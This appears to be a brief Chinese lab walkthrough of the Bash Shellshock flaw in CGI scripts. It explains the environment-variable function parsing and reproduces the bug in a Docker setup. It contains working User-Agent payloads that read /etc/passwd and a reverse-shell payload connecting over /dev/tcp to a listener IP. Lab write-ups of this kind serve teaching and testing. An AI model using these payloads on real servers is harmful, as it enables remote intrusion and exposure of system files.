bash shellshock
Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。运作的整体流程是,HTTP请求->env环境变量设置函数处理请求头参数->bash对处理后的结果进行eval代码执行->bash将执行后的结果保留在HTTP的环境变量参数中->bashCGI 向客户端返回数据包时将环境参数一并返回
思路
由于bash使用的环境变量是通过函数名称来调用的,所以用“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令,如果我们在后面拼接恶意代码,就会执行。对于CGI脚本来说,HTTP协议中的“key-value”都会变为shell中的“环境变量=值”。
漏洞复现
docker部署环境,完成后访问victim.cgi
抓包修改User-Agent
User-Agent: () { :; }; echo; /bin/cat /etc/passwd
() { :; }; echo; echo $( /bin/cat /etc/passwd)
部署环境尽量在虚拟机,在服务器上好多地方会出问题
反弹shell
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.109/1234 0>&1;